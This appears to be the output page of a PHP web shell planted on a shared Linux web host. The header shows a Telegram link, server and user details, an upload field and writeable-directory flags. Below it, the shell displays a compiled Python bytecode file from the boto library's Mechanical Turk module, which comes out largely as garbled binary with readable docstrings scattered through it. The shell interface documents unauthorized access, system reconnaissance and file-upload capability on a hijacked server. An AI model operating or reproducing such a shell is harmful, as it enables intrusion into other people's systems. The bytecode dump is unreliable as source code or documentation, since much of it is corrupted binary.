https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/boto/mturk/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/boto/mturk/__pycache__/connection.cpython-310.pyc
o

ckF[p��@s0ddlZddlZddlZddlmZddlmZddlmZddl	Zddl
mZddlm
Z
ddlmZddlmZmZmZGd	d
�d
e
�ZGdd�de�ZGd
d�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZdS)�N)�handler)�config)�Price)�AWSQueryConnection)�EC2ResponseError)�	ResultSet)�QuestionForm�ExternalQuestion�HTMLQuestionc@�eZdZdZdS)�MTurkRequestErrorzError for MTurk RequestsN��__name__�
__module__�__qualname__�__doc__�rr�7/usr/lib/python3/dist-packages/boto/mturk/connection.pyr#srcs~eZdZdZ						dw�fdd�	Zdd�Zd	d
�Z	dxdd�Zdyd
d�Zdydd�Z	dydd�Z
		dzdd�Z	d{dd�Zddde
jdd�ddddde
jdd�ddddddfdd�Zdd�Z		!	d|d#d$�Zed%d&��Zd'd(�Z	!	d}d*d+�Zdyd,d-�Z		!	d~d/d0�Zdyd1d2�Zdyd3d4�Zdyd5d6�Zd7d8�Zdyd9d:�Zdyd;d<�Zdyd=d>�Zd?d@�ZdAdB�Z 		d{dCdD�Z!ddFdG�Z"dHdI�Z#dJdK�Z$dLdM�Z%dNdO�Z&							P	d�dQdR�Z'dSdT�Z(dUdV�Z)d�dXdY�Z*								d�dZd[�Z+d\d]�Z,	^	"		d�d_d`�Z-	 	"	d�dadb�Z.d�dcdd�Z/	dydedf�Z0	d�dgdh�Z1didj�Z2dkdl�Z3dydmdn�Z4dydodp�Z5edqdr��Z6edsdt��Z7edudv��Z8�Z9S)��MTurkConnectionz
2014-08-15NTrcs^|	st�dd�rt�dd�dkrd}	nd}	|
|_tt|�j|||||||||	|
|||
d�
dS)N�MTurk�sandbox�Truez$mechanicalturk.sandbox.amazonaws.comzmechanicalturk.amazonaws.com)�security_token�profile_name)r�
has_option�get�debug�superr�__init__)�self�aws_access_key_id�aws_secret_access_key�	is_secure�port�proxy�
proxy_port�
proxy_user�
proxy_pass�hostr�https_connection_factoryrr��	__class__rrr,s
�zMTurkConnection.__init__cCsdgS)N�mturkr)rrrr�_required_auth_capabilityAsz)MTurkConnection._required_auth_capabilitycCsi}|�d|dtfdtfg�S)�	
        �GetAccountBalance�AvailableBalance�
OnHoldBalance)�_process_requestr)r�paramsrrr�get_account_balanceDs��z#MTurkConnection.get_account_balancec
Cs�t|||�|�d�}|�t�|��d��|r|�|�|d<|dur+|�|�}	|	|d<|dur6|�|���|�d|dtfg�S)z�
        Register a new HIT Type
        title, description are strings
        reward is a Price object
        duration can be a timedelta, or an object castable to an int
        )�Title�Description�AssignmentDurationInSeconds�Reward�KeywordsN�AutoApprovalDelayInSeconds�RegisterHITType�	HITTypeId)	�dict�duration_as_seconds�updater�get_price_as_price�
get_as_params�get_keywords_as_stringr2r<)
r�title�description�reward�duration�keywords�approval_delay�qual_reqr3�drrr�register_hit_typeLs �
�z!MTurkConnection.register_hit_typecC�|�|d|d|�S)zx
        Performs a SetHITTypeNotification operation to set email
        notification for a specified HIT type
        �Email�SetHITTypeNotification��_set_notification)r�hit_type�email�event_typesrrr�set_email_notificationh�
�z&MTurkConnection.set_email_notificationcCrL)zw
        Performs a SetHITTypeNotification operation to set REST notification
        for a specified HIT type
        �RESTrNrO)rrQ�urlrSrrr�set_rest_notificationprUz%MTurkConnection.set_rest_notificationcCrL)a 
        Performs a SetHITTypeNotification operation so set SQS notification
        for a specified HIT type. Queue URL is of form:
        https://queue.amazonaws.com/<CUSTOMER_ID>/<QUEUE_NAME> and can be
        found when looking at the details for a Queue in the AWS Console
        �SQSrNrO)rrQ�	queue_urlrSrrr�set_sqs_notificationxs
�z$MTurkConnection.set_sqs_notification�PingcCs|�|d|d||�S)zx
        Performs a SendTestEventNotification operation with REST notification
        for a specified HIT type
        rV�SendTestEventNotificationrO)rrQrWrS�test_event_typerrr�send_test_event_notification�s
�z,MTurkConnection.send_test_event_notificationcCs~d|i}||tjjjjdd�}|r|�||d�i}	d}
|D]}|||	d|
|f<q|�|	�|r9|�d|i�|�||�S)zy
        Common operation to set notification or send a test event
        notification for a specified HIT type
        r<T)�Destination�	Transport�Version�Active�	EventType�zNotification.%d.%s�
TestEventType)�botor,�notification�NotificationMessage�NOTIFICATION_VERSION�build_list_paramsr?r2)rrQ�	transport�destination�request_typerSr^r3�notification_params�notification_rest_params�num�keyrrrrP�s$
��
z!MTurkConnection._set_notification�)�daysrecCsx|�|�|d�}|duo|
du}|durK|duo|
du}|s |r$td��|r)|g}
t|
�}t|t�r5|}nt|t�r=|}nt|t�rD|}|��|d<n|sQtd��||d<|r^|�|���|re||d<n1t	�
|�}t	�|	�}|�|
�}t||||d�}|�|�d	��|dur�|�|�}||d
<|�|�|dur�||d<|dur�|�|���|r�|�
||d�|�d
|dtfg�S)z�
        Creates a new HIT.
        Returns a ResultSet
        See: http://docs.amazonwebservices.com/AWSMechTurk/2012-03-25/AWSMturkAPI/ApiReference_CreateHITOperation.html
        )�LifetimeInSeconds�MaxAssignmentsNzkMust specify question (single Question instance) or questions (list or QuestionForm instance), but not both�Questionz|Must not specify question (single Question instance) or questions (list or QuestionForm instance) when specifying hit_layout�HITLayoutIdr<)r5r6r9r7r8r:�RequesterAnnotation�
ResponseGroup�	CreateHIT�HIT)r>�
ValueErrorr�
isinstancer	r
�
get_as_xmlr?rArrBr@r=rkr2r|)rrQ�question�
hit_layout�lifetime�max_assignmentsrCrDrGrErFrH�
annotation�	questions�qualifications�
layout_params�response_groupsr3�neither�both�question_param�final_keywords�final_price�final_duration�additional_paramsrJrrr�
create_hit�s\�






�

zMTurkConnection.create_hitcC�||d�}|�d|�S)a
        Change the HIT type of an existing HIT. Note that the reward associated
        with the new HIT type must match the reward of the current HIT type in
        order for the operation to be valid.

        :type hit_id: str
        :type hit_type: str
        )�HITIdr<�ChangeHITTypeOfHIT�r2)r�hit_idrQr3rrr�change_hit_type_of_hits	�z&MTurkConnection.change_hit_type_of_hit�
Reviewable�
Expiration�	Ascending�
cCs:|||||d�}|dur|�d|i�|�d|dtfg�S)z�
        Retrieve the HITs that have a status of Reviewable, or HITs that
        have a status of Reviewing, and that belong to the Requester
        calling the operation.
        )�Status�SortProperty�
SortDirection�PageSize�
PageNumberNr<�GetReviewableHITsr|)r?r2r|)rrQ�status�sort_by�sort_direction�	page_size�page_numberr3rrr�get_reviewable_hitss��z#MTurkConnection.get_reviewable_hitscCs&||t||�}ttd|d��S)z�
        Given a page size (records per page) and a total number of
        records, return the page numbers to be retrieved.
        re)�bool�list�range)r��
total_records�pagesrrr�
_get_pages.szMTurkConnection._get_pagescsLd��j�d�}t|j�}��fdd�}���|�}t�||�}tj�|�S)aD
        Return all of a Requester's HITs

        Despite what search_hits says, it does not return all hits, but
        instead returns a page of hits. This method will pull the hits
        from the server 100 at a time, but will yield the results
        iteratively, so subsequent requests are made on demand.
        �d)r�cs�j�|d�S)N)r�r�)�search_hits��page�r�rrr�<lambda>Csz.MTurkConnection.get_all_hits.<locals>.<lambda>)r��int�TotalNumResultsr��	itertools�imap�chain�
from_iterable)r�	search_rsr��
get_page_hits�	page_nums�hit_setsrr�r�get_all_hits7s	
zMTurkConnection.get_all_hits�CreationTimecCs4||||d�}|r|�||d�|�d|dtfg�S)aI
        Return a page of a Requester's HITs, on behalf of the Requester.
        The operation returns HITs of any status, except for HITs that
        have been disposed with the DisposeHIT operation.
        Note:
        The SearchHITs operation does not accept any search parameters
        that filter the results.
        )r�r�r�r�rz�
SearchHITsr|�rkr2r|)rr�r�r�r�r�r3rrrr�Hs
�zMTurkConnection.search_hitscCs4d|i}|r
|�||d�|�d|dtfdtfg�S)a_
        Retrieves an assignment using the assignment's ID. Requesters can only
        retrieve their own assignments, and only assignments whose related HIT
        has not been disposed.

        The returned ResultSet will have the following attributes:

        Request
                This element is present only if the Request ResponseGroup
                is specified.
        Assignment
                The assignment. The response includes one Assignment object.
        HIT
                The HIT associated with this assignment. The response
                includes one HIT object.

        �AssignmentIdrz�
GetAssignment�
Assignmentr|)rkr2r�r|)r�
assignment_idr�r3rrr�get_assignment\s��zMTurkConnection.get_assignment�
SubmitTimec	CsF|||||d�}|dur||d<|r|�||d�|�d|dtfg�S)ad
        Retrieves completed assignments for a HIT.
        Use this operation to retrieve the results for a HIT.

        The returned ResultSet will have the following attributes:

        NumResults
                The number of assignments on the page in the filtered results
                list, equivalent to the number of assignments being returned
                by this call.
                A non-negative integer, as a string.
        PageNumber
                The number of the page in the filtered results list being
                returned.
                A positive integer, as a string.
        TotalNumResults
                The total number of HITs in the filtered results list based
                on this call.
                A non-negative integer, as a string.

        The ResultSet will contain zero or more Assignment objects

        )r�r�r�r�r�N�AssignmentStatusrz�GetAssignmentsForHITr�)rkr2r�)	rr�r�r�r�r�r�r�r3rrr�get_assignmentsys��zMTurkConnection.get_assignmentscC� d|i}|r
||d<|�d|�S)r.r��RequesterFeedback�ApproveAssignmentr��rr��feedbackr3rrr�approve_assignment��z"MTurkConnection.approve_assignmentcCr�)r.r�r��RejectAssignmentr�r�rrr�reject_assignment�r�z!MTurkConnection.reject_assignmentcCr�)r.r�r��ApproveRejectedAssignmentr�r�rrr�approve_rejected_assignment�r�z+MTurkConnection.approve_rejected_assignmentcC�||d�}|�d|dtfg�S)a
        Generates and returns a temporary URL to an uploaded file. The
        temporary URL is used to retrieve the file as an answer to a
        FileUploadAnswer question, it is valid for 60 seconds.

        Will have a FileUploadURL attribute as per the API Reference.
        )r��QuestionIdentifier�GetFileUploadURL�
FileUploadURL)r2r�)rr��question_identifierr3rrr�get_file_upload_url�s	��z#MTurkConnection.get_file_upload_urlcCs.d|i}|r
|�||d�|�d|dtfg�S)r.r�rz�GetHITr|r��rr�r�r3rrr�get_hit�szMTurkConnection.get_hitcCr�)aU
        Update a HIT with a status of Reviewable to have a status of Reviewing,
        or reverts a Reviewing HIT back to the Reviewable status.

        Only HITs with a status of Reviewable can be updated with a status of
        Reviewing.  Similarly, only Reviewing HITs can be reverted back to a
        status of Reviewable.
        r��Revert�SetHITAsReviewingr�)rr��revertr3rrr�
set_reviewing�s	zMTurkConnection.set_reviewingcCs&d|i}|r
|�||d�|�d|�S)an
        Remove a HIT from the Mechanical Turk marketplace, approves all
        submitted assignments that have not already been approved or rejected,
        and disposes of the HIT and all assignment data.

        Assignments for the HIT that have already been submitted, but not yet
        approved or rejected, will be automatically approved. Assignments in
        progress at the time of the call to DisableHIT will be approved once
        the assignments are submitted. You will be charged for approval of
        these assignments.  DisableHIT completely disposes of the HIT and
        all submitted assignment data. Assignment results data cannot be
        retrieved for a HIT that has been disposed.

        It is not possible to re-enable a HIT once it has been disabled.
        To make the work from a disabled HIT available again, create a new HIT.
        r�rz�
DisableHIT�rkr2r�rrr�disable_hit�szMTurkConnection.disable_hitcC�d|i}|�d|�S)a�
        Dispose of a HIT that is no longer needed.

        Only HITs in the "reviewable" state, with all submitted
        assignments approved or rejected, can be disposed. A Requester
        can call GetReviewableHITs to determine which HITs are
        reviewable, then call GetAssignmentsForHIT to retrieve the
        assignments.  Disposing of a HIT removes the HIT from the
        results of a call to GetReviewableHITs.  r��
DisposeHITr��rr�r3rrr�dispose_hit�s
zMTurkConnection.dispose_hitcCr�)aI
        Expire a HIT that is no longer needed.

        The effect is identical to the HIT expiring on its own. The
        HIT no longer appears on the Mechanical Turk web site, and no
        new Workers are allowed to accept the HIT. Workers who have
        accepted the HIT prior to expiration are allowed to complete
        it or return it, or allow the assignment duration to elapse
        (abandon the HIT). Once all remaining assignments have been
        submitted, the expired HIT becomes"reviewable", and will be
        returned by a call to GetReviewableHITs.
        r��ForceExpireHITr�r�rrr�
expire_hitszMTurkConnection.expire_hitcCsT|dur|dus|dur|durtd��d|i}|r||d<|r$||d<|�d|�S)a�
        Increase the maximum number of assignments, or extend the
        expiration date, of an existing HIT.

        NOTE: If a HIT has a status of Reviewable and the HIT is
        extended to make it Available, the HIT will not be returned by
        GetReviewableHITs, and its submitted assignments will not be
        returned by GetAssignmentsForHIT, until the HIT is Reviewable
        again.  Assignment auto-approval will still happen on its
        original schedule, even if the HIT has been extended. Be sure
        to retrieve and approve (or reject) submitted assignments
        before extending the HIT, if so desired.
        NzOMust specify either assignments_increment or expiration_increment, but not bothr��MaxAssignmentsIncrement�ExpirationIncrementInSeconds�	ExtendHIT)r}r2)rr��assignments_increment�expiration_incrementr3rrr�
extend_hitszMTurkConnection.extend_hit�	OperationcCr�)z�
        Return information about the Mechanical Turk Service
        operations and response group NOTE - this is basically useless
        as it just returns the URL of the documentation

        help_type: either 'Operation' or 'ResponseGroup'
        )�About�HelpType�Helpr�)r�about�	help_typer3rrr�get_help4s
zMTurkConnection.get_helpcCs0|�dd�}||d<||d<||d<|�d|�S)a�
        Issues a payment of money from your account to a Worker.  To
        be eligible for a bonus, the Worker must have submitted
        results for one of your HITs, and have had those results
        approved or rejected. This payment happens separately from the
        reward you pay to the Worker when you approve the Worker's
        assignment.  The Bonus must be passed in as an instance of the
        Price object.
        �BonusAmountre�WorkerIdr��Reason�
GrantBonus)rAr2)r�	worker_idr��bonus_price�reasonr3rrr�grant_bonus?s

zMTurkConnection.grant_bonuscCr�)z:
        Block a worker from working on my tasks.
        �r�r��BlockWorkerr��rr�r�r3rrr�block_workerP�
zMTurkConnection.block_workercCr�)z<
        Unblock a worker from working on my tasks.
        r�
UnblockWorkerr�rrrr�unblock_workerXrzMTurkConnection.unblock_workercCs$||d�}|�||d�|�d|�S)z1
        Send a text message to workers.
        )�Subject�MessageTextr��
NotifyWorkersr�)r�
worker_ids�subject�message_textr3rrr�notify_workers`s
�zMTurkConnection.notify_workersFc
Cs�|||d�}|dur||d<|dur%t|t�sJ�|	dusJ�|��|d<|	dur-|	|d<|dur=t|t�r;||d<nt�|
rM|dusEJ�d|d<||d	<|rV|�|�|d
<|�d|dtfg�S)
am
        Create a new Qualification Type.

        name: This will be visible to workers and must be unique for a
           given requester.

        description: description shown to workers.  Max 2000 characters.

        status: 'Active' or 'Inactive'

        keywords: list of keyword strings or comma separated string.
           Max length of 1000 characters when concatenated with commas.

        retry_delay: number of seconds after requesting a
           qualification the worker must wait before they can ask again.
           If not specified, workers can only request this qualification
           once.

        test: a QuestionForm

        answer_key: an XML string of your answer key, for automatically
           scored qualification tests.
           (Consider implementing an AnswerKey class for this to support.)

        test_duration: the number of seconds a worker has to complete the test.

        auto_granted: if True, requests for the Qualification are granted
           immediately.  Can't coexist with a test.

        auto_granted_value: auto_granted qualifications are given this value.

        )�Namer6�QualificationTypeStatusN�RetryDelayInSeconds�Test�TestDurationInSeconds�	AnswerKeyT�AutoGranted�AutoGrantedValuer9�CreateQualificationType�QualificationType)r~rr�
basestring�	TypeErrorrBr2r)
r�namerDr�rG�retry_delay�test�
answer_key�answer_key_xml�
test_duration�auto_granted�auto_granted_valuer3rrr�create_qualification_typejs6-�

��z)MTurkConnection.create_qualification_typecCsd|i}|�d|dtfg�S)N�QualificationTypeId�GetQualificationTyper�r2r�r�qualification_type_idr3rrr�get_qualification_type�s�z&MTurkConnection.get_qualification_typecsLd�����}t|j�}���fdd�}���|�}t�||�}tj�|�S)Nr�cs�j��|d�S)N)r'r�r�)�)get_qualifications_for_qualification_typer��r�r'rrrr��szFMTurkConnection.get_all_qualifications_for_qual_type.<locals>.<lambda>)r)r�r�r�r�r�r�r�)rr'�search_qualr��get_page_qualsr��	qual_setsrr*r�$get_all_qualifications_for_qual_type�s

z4MTurkConnection.get_all_qualifications_for_qual_typer�cCs |||d�}|�d|dtfg�S)N)r#r�r��%GetQualificationsForQualificationType�
Qualification�r2r0)rr'r�r�r3rrrr)�s��z9MTurkConnection.get_qualifications_for_qualification_typec
Cs�d|i}
|dur||
d<|dur||
d<|dur||
d<|dur-t|t�s'J�|��|
d<|dur5||
d<|durEt|t�rC||
d<nt�|durM||
d<|	durU|	|
d	<|�d
|
dtfg�S)Nr#r6rrrrrrr�UpdateQualificationTyper)r~rrrrr2r)rr'rDr�rrrrr r!r3rrr�update_qualification_type�s.


�z)MTurkConnection.update_qualification_typecCr�)�TODO: Document.r#�DisposeQualificationTyper�r&rrr�dispose_qualification_type�sz*MTurkConnection.dispose_qualification_typerc	Cs(|||||||d�}|�d|dtfg�S)r4)�Queryr�r�r�r��MustBeRequestable�MustBeOwnedByCaller�SearchQualificationTypesrr%)	r�queryr�r�r�r��must_be_requestable�must_be_owned_by_callerr3rrr�search_qualification_types�s��z*MTurkConnection.search_qualification_typescCs$|||||d�}|�d|dtfg�S)r4)r#r�r�r�r��GetQualificationRequests�QualificationRequest)r2r@)rr'r�r�r�r�r3rrr�get_qualification_requestss��z*MTurkConnection.get_qualification_requestscCr�)r4)�QualificationRequestId�IntegerValue�GrantQualificationr�)r�qualification_request_id�
integer_valuer3rrr�grant_qualifications�z#MTurkConnection.grant_qualificationcC�|||d�}|�d|�S)r4)�	SubjectIdr#r��RevokeQualificationr�)r�
subject_idr'r�r3rrr�revoke_qualification!�
�z$MTurkConnection.revoke_qualificationcCs||||d�}|�d|�S)N)r#r�rC�SendNotification�AssignQualificationr�)rr'r��value�send_notificationr3rrr�assign_qualification)s�z$MTurkConnection.assign_qualificationcCr�)r4)r#rI�GetQualificationScorer0r1)rr'r�r3rrr�get_qualification_score1s��z'MTurkConnection.get_qualification_scorecCrH)r4)r#rIrC�UpdateQualificationScorer�)rr'r�rPr3rrr�update_qualification_score8rMz*MTurkConnection.update_qualification_scorecCs$||d<|jd|dd�}|�||�S)�=
        Helper to process the xml response from AWS
        r�N�POST)�verb)�make_request�_process_response)rrnr3�marker_elems�responserrrr2@sz MTurkConnection._process_requestcCs^|��}|jdkr
t|�d|�d�vr't|�}t�||�}tj�	||�|St
|j|j|��)rW�z<Errors>�utf-8)
�readr�print�decoderr�
XmlHandler�xml�sax�parseStringrr�r�)rr]r\�body�rs�hrrrr[Hs
z!MTurkConnection._process_responsecCs^t|t�r
d�|�}t|t�r|}|St|t�r|�d�}|S|dur'd}|Stdt|���)zk
        Returns a comma+space-separated string of keywords from either
        a list or a string
        z, r_N�zAkeywords argument must be a string or a list of strings; got a %s)r~r��join�str�unicode�encoder�type)rGr�rrrrBWs



�
��z&MTurkConnection.get_keywords_as_stringcCst|t�r	|}|St|�}|S)zO
        Returns a Price data structure from either a float or a Price
        )r~r)rEr�rrrr@is

�z"MTurkConnection.get_price_as_pricecCsJt|tj�r|jd|j}zt|�}W|Sty$tdt|���w)Ni�Qz4Duration must be a timedelta or int-castable, got %s)r~�datetime�	timedeltart�secondsr�rro)rFrrrr>ts
��z#MTurkConnection.duration_as_seconds)
NNTNNNNNNrNNN)NNN�N)Nr\)NN)Nr�r�r�r�re)r�r�r�reN)Nr�r�r�reN)r�)NNNNNNFre)r�re)NNNNNNNN)Nrr�r�reTT)r�r�r�re)re)reT):rrr�
APIVersionrr-r4rKrTrXr[r_rPrprqr�r�r��staticmethodr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrr
r"r(r.r)r3r6r>rArGrLrRrTrVr2r[rBr@r>�
__classcell__rrr*rr(s��	
�



�
�(

�V
�

�

�
*







�

�O
	
�,
�
�


�	
�




rc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�BaseAutoResultElementzE
    Base class to automatically add attributes when parsing XML
    cC�dSrsr�r�
connectionrrrr��zBaseAutoResultElement.__init__cCrxrsr)rr�attrsrzrrr�startElement�r{z"BaseAutoResultElement.startElementcCst|||�dSrs)�setattr�rrrPrzrrr�
endElement�sz BaseAutoResultElement.endElementN)rrrrrr}r�rrrrrws
rwc@s eZdZdZdd�Zee�ZdS)r|z�
    Class to extract a HIT structure from a response (used in ResultSet)

    Will have attributes named as per the Developer Guide,
    e.g. HITId, HITTypeId, CreationTime
    cCs<d}t|d�rtj��}tj�|jd�}||k}|Std��)z Has this HIT expired yet? Fr�z%Y-%m-%dT%H:%M:%SZz>ERROR: Request for expired property, but no Expiration in HIT!)�hasattrrp�utcnow�strptimer�r})r�expired�now�
expirationrrr�_has_expired�s

�zHIT._has_expiredN)rrrrr��propertyr�rrrrr|�sr|c@r)r�zE
    Class to extract an FileUploadURL structure from a response
    Nr
rrrrr���r�c@r)r<zA
    Class to extract an HITTypeId structure from a response
    Nr
rrrrr<�r�r<c@r)r0z�
    Class to extract an Qualification structure from a response (used in
    ResultSet)

    Will have attributes named as per the Developer Guide such as
    QualificationTypeId, IntegerValue. Does not seem to contain GrantTime.
    Nr
rrrrr0��r0c@r)rz�
    Class to extract an QualificationType structure from a response (used in
    ResultSet)

    Will have attributes named as per the Developer Guide,
    e.g. QualificationTypeId, CreationTime, Name, etc
    Nr
rrrrr�r�rc�,eZdZdZ�fdd�Z�fdd�Z�ZS)r@z�
    Class to extract an QualificationRequest structure from a response (used in
    ResultSet)

    Will have attributes named as per the Developer Guide,
    e.g. QualificationRequestId, QualificationTypeId, SubjectId, etc
    c�tt|��|�g|_dSrs)rr@r�answersryr*rrr��
zQualificationRequest.__init__c�b|dkr%tdtfg�}t�||�}|�|�}tj�||�|j�	|�dSt
t|��|||�dS�N�Answer)
r�QuestionFormAnswerrrc�get_utf8_valuerdrerfr��appendrr@r��rrrPrz�	answer_rsrir*rrr���
zQualificationRequest.endElement�rrrrrr�rvrrr*rr@��r@cr�)r�z�
    Class to extract an Assignment structure from a response (used in
    ResultSet)

    Will have attributes named as per the Developer Guide,
    e.g. AssignmentId, WorkerId, HITId, Answer, etc
    cr�rs)rr�rr�ryr*rrr�r�zAssignment.__init__cr�r�)
rr�rrcr�rdrerfr�r�rr�r�r�r*rrr��r�zAssignment.endElementr�rrr*rr��r�r�cs(eZdZdZ�fdd�Zdd�Z�ZS)r�a:
    Class to extract Answers from inside the embedded XML
    QuestionFormAnswers element inside the Answer element which is
    part of the Assignment and QualificationRequest structures

    A QuestionFormAnswers element contains an Answer element for each
    question in the HIT or Qualification test for which the Worker
    provided an answer. Each Answer contains a QuestionIdentifier
    element whose value corresponds to the QuestionIdentifier of a
    Question in the QuestionForm. See the QuestionForm data structure
    for more information about questions and answer specifications.

    If the question expects a free-text answer, the Answer element
    contains a FreeText element. This element contains the Worker's
    answer

    *NOTE* - currently really only supports free-text and selection answers
    cs tt|��|�g|_d|_dSrs)rr�r�fields�qidryr*rrrs
zQuestionFormAnswer.__init__cCs8|dkr	||_dS|dvr|jr|j�|�dSdSdS)Nr�)�FreeText�SelectionIdentifier�OtherSelectionText)r�r�r�rrrrr�s

�zQuestionFormAnswer.endElementr�rrr*rr��sr�) �xml.saxrdrpr�rgrr�boto.mturk.pricer�boto.mturk.notification�boto.connectionr�boto.exceptionr�boto.resultsetr�boto.mturk.questionrr	r
rr�objectrwr|r�r<r0rr@r�r�rrrr�<module>s8]

https://t.me/RX1948 - 2025